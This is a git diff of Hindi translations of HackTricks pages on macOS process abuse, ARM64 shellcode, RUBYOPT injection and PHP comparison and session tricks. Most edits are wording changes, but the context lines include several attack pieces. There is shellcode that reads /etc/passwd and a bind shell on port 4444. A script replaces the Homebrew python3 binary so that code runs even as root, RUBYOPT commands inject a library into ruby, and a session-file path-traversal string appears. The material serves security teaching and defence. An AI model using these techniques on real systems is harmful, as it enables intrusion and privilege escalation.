||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -291,7 +291,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### sh से कमांड को फोर्क के साथ इन्वोक करें ताकि मुख्य प्रोसेस न मारा जाए
|
||||
#### sh से कमांड को फोर्क के जरिए इन्वोक करें ताकि मुख्य प्रोसेस न मारा जाए
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -337,7 +337,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
|||
```
|
||||
#### बाइंड शेल
|
||||
|
||||
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) से बाइंड शेल **पोर्ट 4444** में
|
||||
पोर्ट 4444 पर [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) से बाइंड शेल
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -490,7 +490,7 @@ svc #0x1337
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
|
@ -498,6 +498,6 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,19 +8,19 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें**.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
|
||||
</details>
|
||||
|
||||
## MacOS प्रोसेस दुरुपयोग
|
||||
|
||||
MacOS, अन्य ऑपरेटिंग सिस्टम की तरह, **प्रोसेसेस के बीच इंटरैक्ट, कम्युनिकेट और डेटा शेयर करने** के लिए विभिन्न तरीके और तंत्र प्रदान करता है। जबकि ये तकनीकें सिस्टम के कुशल कार्यान्वयन के लिए आवश्यक हैं, इनका दुरुपयोग खतरा पैदा करने वाले लोग **दुर्भावनापूर्ण गतिविधियां करने** के लिए भी कर सकते हैं।
|
||||
MacOS, अन्य ऑपरेटिंग सिस्टम की तरह, **प्रोसेसेस के बीच इंटरैक्ट, कम्युनिकेट और डेटा शेयर करने** के लिए विभिन्न तरीके और तंत्र प्रदान करता है। जबकि ये तकनीकें सिस्टम के कुशल कार्यान्वयन के लिए आवश्यक हैं, इनका दुरुपयोग खतरा उत्पन्न करने वाले अभिनेताओं द्वारा **दुर्भावनापूर्ण गतिविधियों को अंजाम देने** के लिए भी किया जा सकता है।
|
||||
|
||||
### लाइब्रेरी इंजेक्शन
|
||||
|
||||
लाइब्रेरी इंजेक्शन एक तकनीक है जिसमें हमलावर **एक प्रोसेस को दुर्भावनापूर्ण लाइब्रेरी लोड करने के लिए मजबूर करता है**। एक बार इंजेक्ट होने के बाद, लाइब्रेरी लक्षित प्रोसेस के संदर्भ में चलती है, जिससे हमलावर को प्रोसेस के समान अनुमतियां और पहुंच मिल जाती है।
|
||||
लाइब्रेरी इंजेक्शन एक तकनीक है जिसमें एक हमलावर **प्रोसेस को एक दुर्भावनापूर्ण लाइब्रेरी लोड करने के लिए मजबूर करता है**। एक बार इंजेक्ट होने के बाद, लाइब्रेरी लक्षित प्रोसेस के संदर्भ में चलती है, जिससे हमलावर को प्रोसेस के समान अनुमतियां और पहुंच मिल जाती है।
|
||||
|
||||
{% content-ref url="macos-library-injection/" %}
|
||||
[macos-library-injection](macos-library-injection/)
|
||||
|
@ -28,7 +28,7 @@ MacOS, अन्य ऑपरेटिंग सिस्टम की तरह
|
|||
|
||||
### फंक्शन हुकिंग
|
||||
|
||||
फंक्शन हुकिंग **सॉफ्टवेयर कोड के भीतर फंक्शन कॉल्स या मैसेजेस को इंटरसेप्ट करने** की प्रक्रिया है। फंक्शन्स को हुक करके, हमलावर प्रोसेस के व्यवहार को **मोडिफाई कर सकता है**, संवेदनशील डेटा को देख सकता है, या यहां तक कि निष्पादन प्रवाह पर नियंत्रण प्राप्त कर सकता है।
|
||||
फंक्शन हुकिंग में **सॉफ्टवेयर कोड के भीतर फंक्शन कॉल्स या संदेशों को इंटरसेप्ट करना** शामिल है। फंक्शन्स को हुक करके, एक हमलावर प्रोसेस के व्यवहार को **संशोधित कर सकता है**, संवेदनशील डेटा को देख सकता है, या यहां तक कि निष्पादन प्रवाह पर नियंत्रण प्राप्त कर सकता है।
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
|
@ -36,7 +36,7 @@ MacOS, अन्य ऑपरेटिंग सिस्टम की तरह
|
|||
|
||||
### इंटर प्रोसेस कम्युनिकेशन
|
||||
|
||||
इंटर प्रोसेस कम्युनिकेशन (IPC) विभिन्न तरीकों को संदर्भित करता है जिसके द्वारा अलग-अलग प्रोसेसेस **डेटा शेयर और एक्सचेंज करते हैं**। जबकि IPC कई वैध अनुप्रयोगों के लिए मौलिक है, इसका दुरुपयोग प्रोसेस आइसोलेशन को उलटने, संवेदनशील जानकारी को लीक करने, या अनधिकृत क्रियाएं करने के लिए भी किया जा सकता है।
|
||||
इंटर प्रोसेस कम्युनिकेशन (IPC) विभिन्न तरीकों से संदर्भित करता है जिसके द्वारा अलग-अलग प्रोसेसेस **डेटा शेयर और आदान-प्रदान करते हैं**। जबकि IPC कई वैध अनुप्रयोगों के लिए मौलिक है, इसका दुरुपयोग प्रोसेस आइसोलेशन को उलटने, संवेदनशील जानकारी को लीक करने, या अनधिकृत क्रियाओं को प्रदर्शित करने के लिए भी किया जा सकता है।
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
|
@ -52,7 +52,7 @@ MacOS, अन्य ऑपरेटिंग सिस्टम की तरह
|
|||
|
||||
### डर्टी NIB
|
||||
|
||||
NIB फाइलें **यूजर इंटरफेस (UI) तत्वों** और एक एप्लिकेशन के भीतर उनके इंटरैक्शन्स को परिभाषित करती हैं। हालांकि, वे **मनमाने कमांड्स को निष्पादित कर सकती हैं** और **Gatekeeper एक बार निष्पादित हो चुके एप्लिकेशन को रोक नहीं पाता** अगर **NIB फाइल को संशोधित किया गया हो**। इसलिए, वे मनमाने प्रोग्राम्स को मनमाने कमांड्स निष्पादित करने के लिए उपयोग की जा सकती हैं:
|
||||
NIB फाइलें **यूजर इंटरफेस (UI) तत्वों** और एक एप्लिकेशन के भीतर उनके इंटरैक्शन को परिभाषित करती हैं। हालांकि, वे **मनमाने कमांड्स को निष्पादित कर सकते हैं** और **Gatekeeper एक बार निष्पादित एप्लिकेशन को रोक नहीं पाता** अगर एक **NIB फाइल संशोधित की जाती है**। इसलिए, वे मनमाने प्रोग्राम्स को मनमाने कमांड्स निष्पादित करने के लिए उपयोग किए जा सकते हैं:
|
||||
|
||||
{% content-ref url="macos-dirty-nib.md" %}
|
||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||
|
@ -60,7 +60,7 @@ NIB फाइलें **यूजर इंटरफेस (UI) तत्वो
|
|||
|
||||
### जावा एप्लिकेशन्स इंजेक्शन
|
||||
|
||||
जावा की कुछ क्षमताओं (जैसे कि **`_JAVA_OPTS`** env वेरिएबल) का दुरुपयोग करके जावा एप्लिकेशन को **मनमाने कोड/कमांड्स निष्पादित करने** के लिए बनाया जा सकता है।
|
||||
कुछ जावा क्षमताओं (जैसे कि **`_JAVA_OPTS`** env वेरिएबल) का दुरुपयोग करके एक जावा एप्लिकेशन को **मनमाने कोड/कमांड्स निष्पादित करने** के लिए बनाया जा सकता है।
|
||||
|
||||
{% content-ref url="macos-java-apps-injection.md" %}
|
||||
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
||||
|
@ -92,16 +92,16 @@ NIB फाइलें **यूजर इंटरफेस (UI) तत्वो
|
|||
|
||||
### पायथन इंजेक्शन
|
||||
|
||||
यदि पर्यावरण वेरिएबल **`PYTHONINSPECT`** सेट है, तो पायथन प्रोसेस एक बार समाप्त होने के बाद पायथन cli में ड्रॉप हो जाएगा। **`PYTHONSTARTUP`** का उपयोग एक पायथन स्क्रिप्ट को इंटरैक्टिव सत्र की शुरुआत में निष्पादित करने के लिए भी किया जा सकता है।\
|
||||
हालांकि, ध्यान दें कि **`PYTHONSTARTUP`** स्क्रिप्ट **`PYTHONINSPECT`** द्वारा बनाए गए इंटरैक्टिव सत्र में निष्पादित नहीं होगी।
|
||||
यदि पर्यावरण वेरिएबल **`PYTHONINSPECT`** सेट है, तो पायथन प्रोसेस एक बार समाप्त होने पर पायथन cli में ड्रॉप हो जाएगा। **`PYTHONSTARTUP`** का उपयोग एक पायथन स्क्रिप्ट को इंटरैक्टिव सत्र की शुरुआत में निष्पादित करने के लिए भी किया जा सकता है।\
|
||||
हालांकि, ध्यान दें कि **`PYTHONSTARTUP`** स्क्रिप्ट **`PYTHONINSPECT`** द्वारा बनाए गए इंटरैक्टिव सत्र में निष्पादित नहीं की जाएगी।
|
||||
|
||||
अन्य env वेरिएबल्स जैसे कि **`PYTHONPATH`** और **`PYTHONHOME`** भी पायथन कमांड को मनमाने कोड निष्पादित करने के लिए उपयोगी हो सकते हैं।
|
||||
अन्य env वेरिएबल्स जैसे कि **`PYTHONPATH`** और **`PYTHONHOME`** भी एक पायथन कमांड को मनमाने कोड निष्पादित करने के लिए उपयोगी हो सकते हैं।
|
||||
|
||||
ध्यान दें कि **`pyinstaller`** के साथ संकलित निष्पादन योग्य फाइलें इन पर्यावरणीय वेरिएबल्स का उपयोग नहीं करेंगी भले ही वे एक एम्बेडेड पायथन का उपयोग कर रहे हों।
|
||||
|
||||
{% hint style="danger" %}
|
||||
कुल मिलाकर मैंने पायथन को पर्यावरणीय वेरिएबल्स का दुरुपयोग करके मनमाने कोड निष्पादित करने का कोई तरीका नहीं पाया।\
|
||||
हालांकि, अधिकांश लोग **Hombrew** का उपयोग करके पायथन को इंस्टॉल करते हैं, जो पायथन को डिफॉल्ट एडमिन यूजर के लिए एक **लिखने योग्य स्थान** पर इंस्टॉल करेगा। आप इसे कुछ इस तरह से हाइजैक कर सकते हैं:
|
||||
कुल मिलाकर मैं पायथन को पर्यावरण वेरिएबल्स का दुरुपयोग करके मनमाने कोड निष्पादित करने का कोई तरीका नहीं ढूंढ पाया।\
|
||||
हालांकि, अधिकांश लोग **Hombrew** का उपयोग करके पायथन को इंस्टॉल करते हैं, जो पायथन को डिफ़ॉल्ट एडमिन यूजर के लिए एक **लिखने योग्य स्थान** पर इंस्टॉल करेगा। आप इसे कुछ इस तरह से हाइजैक कर सकते हैं:
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
cat > /opt/homebrew/bin/python3 <<EOF
|
||||
|
@ -115,22 +115,22 @@ chmod +x /opt/homebrew/bin/python3
|
|||
यहां तक कि **root** भी इस कोड को चलाएगा जब python चल रहा हो।
|
||||
{% endhint %}
|
||||
|
||||
## पहचान
|
||||
## पता लगाना
|
||||
|
||||
### Shield
|
||||
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) एक ओपन सोर्स एप्लिकेशन है जो **प्रोसेस इंजेक्शन** क्रियाओं का पता लगा सकता है और उन्हें ब्लॉक कर सकता है:
|
||||
|
||||
* **Environmental Variables** का उपयोग करके: यह निम्नलिखित पर्यावरणीय चरों की उपस्थिति की निगरानी करेगा: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** और **`ELECTRON_RUN_AS_NODE`**
|
||||
* **`task_for_pid`** कॉल्स का उपयोग करके: यह जब एक प्रोसेस दूसरे के **task port** को प्राप्त करना चाहता है तो उसे खोजने के लिए, जिससे प्रोसेस में कोड इंजेक्ट किया जा सकता है।
|
||||
* **`task_for_pid`** कॉल्स का उपयोग करके: जब एक प्रोसेस दूसरे के **task port** को प्राप्त करना चाहता है जिससे वह प्रोसेस में कोड इंजेक्ट कर सके।
|
||||
* **Electron apps params**: कोई भी **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** कमांड लाइन आर्ग्युमेंट का उपयोग करके एक Electron एप्प को डिबगिंग मोड में शुरू कर सकता है, और इस तरह उसमें कोड इंजेक्ट कर सकता है।
|
||||
* **symlinks** या **hardlinks** का उपयोग करके: आमतौर पर सबसे आम दुरुपयोग यह है कि **हमारे यूजर विशेषाधिकारों के साथ एक लिंक रखें**, और उसे **उच्च विशेषाधिकार** स्थान की ओर इंगित करें। हार्डलिंक और सिम्लिंक्स दोनों के लिए पता लगाना बहुत सरल है। यदि लिंक बनाने वाले प्रोसेस का **विशेषाधिकार स्तर** लक्ष्य फाइल से **अलग** है, तो हम एक **अलर्ट** बनाते हैं। दुर्भाग्यवश सिम्लिंक्स के मामले में ब्लॉकिंग संभव नहीं है, क्योंकि हमें लिंक के गंतव्य के बारे में जानकारी नहीं होती है निर्माण से पहले। यह Apple के EndpointSecuriy फ्रेमवर्क की एक सीमा है।
|
||||
* **symlinks** या **hardlinks** का उपयोग करके: आमतौर पर सबसे आम दुरुपयोग यह है कि **हमारे यूजर विशेषाधिकारों के साथ एक लिंक रखें**, और उसे **उच्च विशेषाधिकार** स्थान की ओर इंगित करें। हार्डलिंक और सिम्लिंक्स दोनों के लिए पता लगाना बहुत सरल है। यदि लिंक बनाने वाले प्रोसेस का **विशेषाधिकार स्तर** लक्ष्य फ़ाइल से **अलग** है, तो हम एक **अलर्ट** बनाते हैं। दुर्भाग्यवश सिम्लिंक्स के मामले में ब्लॉकिंग संभव नहीं है, क्योंकि हमें लिंक के गंतव्य के बारे में जानकारी नहीं होती है निर्माण से पहले। यह Apple के EndpointSecuriy फ्रेमवर्क की एक सीमा है।
|
||||
|
||||
### अन्य प्रोसेस द्वारा किए गए कॉल्स
|
||||
### अन्य प्रोसेसों द्वारा किए गए कॉल्स
|
||||
|
||||
[**इस ब्लॉग पोस्ट**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) में आप पा सकते हैं कि कैसे **`task_name_for_pid`** फंक्शन का उपयोग करके अन्य **प्रोसेस द्वारा प्रोसेस में कोड इंजेक्ट करने** के बारे में जानकारी प्राप्त की जा सकती है और फिर उस अन्य प्रोसेस के बारे में जानकारी प्राप्त की जा सकती है।
|
||||
[**इस ब्लॉग पोस्ट**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) में आप पा सकते हैं कि कैसे **`task_name_for_pid`** फंक्शन का उपयोग करके अन्य **प्रोसेसों द्वारा प्रोसेस में कोड इंजेक्ट करने** के बारे में जानकारी प्राप्त की जा सकती है और फिर उस अन्य प्रोसेस के बारे में जानकारी प्राप्त की जा सकती है।
|
||||
|
||||
नोट करें कि उस फंक्शन को कॉल करने के लिए आपको **वही uid** होना चाहिए जो प्रोसेस चला रहा है या **root** (और यह प्रोसेस के बारे में जानकारी लौटाता है, कोड इंजेक्ट करने का तरीका नहीं)।
|
||||
नोट करें कि उस फंक्शन को कॉल करने के लिए आपको **उसी uid** का होना चाहिए जो प्रोसेस चला रहा है या **root** (और यह प्रोसेस के बारे में जानकारी लौटाता है, कोड इंजेक्ट करने का तरीका नहीं).
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -144,10 +144,10 @@ chmod +x /opt/homebrew/bin/python3
|
|||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें।**
|
||||
* **HackTricks** के लिए PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें। [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें।**
|
||||
* **HackTricks** के [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong> AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* अपनी हैकिंग ट्रिक्स साझा करें, [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
|
||||
</details>
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
इस env वेरिएबल का उपयोग करके जब भी **ruby** निष्पादित होती है, उसमें **नए पैरामीटर्स जोड़ना** संभव है। हालांकि पैरामीटर **`-e`** का उपयोग ruby कोड निष्पादित करने के लिए नहीं किया जा सकता, पैरामीटर्स **`-I`** और **`-r`** का उपयोग करके लाइब्रेरीज के लोड पथ में एक नया फोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है।
|
||||
इस env वेरिएबल का उपयोग करके जब भी **ruby** निष्पादित होती है तो उसमें **नए पैरामीटर्स जोड़ना** संभव है। हालांकि पैरामीटर **`-e`** का उपयोग ruby कोड निष्पादित करने के लिए नहीं किया जा सकता, पैरामीटर्स **`-I`** और **`-r`** का उपयोग करके लाइब्रेरीज के लोड पथ में एक नया फोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है।
|
||||
|
||||
**`/tmp`** में लाइब्रेरी **`inject.rb`** बनाएं:
|
||||
|
||||
|
@ -34,24 +34,24 @@ puts 'Hello, World!'
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
फिर एक मनमानी रूबी स्क्रिप्ट को इसके साथ लोड करें:
|
||||
फिर एक मनमानी रूबी स्क्रिप्ट बनाएं और इसे लोड करें:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
मजेदार तथ्य, यह **`--disable-rubyopt`** पैरामीटर के साथ भी काम करता है:
|
||||
मजेदार तथ्य, यह पैरामीटर **`--disable-rubyopt`** के साथ भी काम करता है:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में.
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज में PRs सबमिट करके.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -32,7 +32,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## PHP तुलनाओं को बायपास करना
|
||||
|
||||
### ढीली तुलनाएँ/प्रकार जुगलिंग ( == )
|
||||
### ढीली तुलनाएँ/टाइप जगलिंग ( == )
|
||||
|
||||
यदि PHP में `==` का उपयोग किया जाता है, तो अप्रत्याशित मामले होते हैं जहाँ तुलना अपेक्षित रूप से व्यवहार नहीं करती है। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जिन्हें एक ही प्रकार में परिवर्तित किया गया है, यदि आप यह भी चाहते हैं कि तुलना किए गए डेटा का प्रकार समान हो तो आपको `===` का उपयोग करना होगा।
|
||||
|
||||
|
@ -43,17 +43,17 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
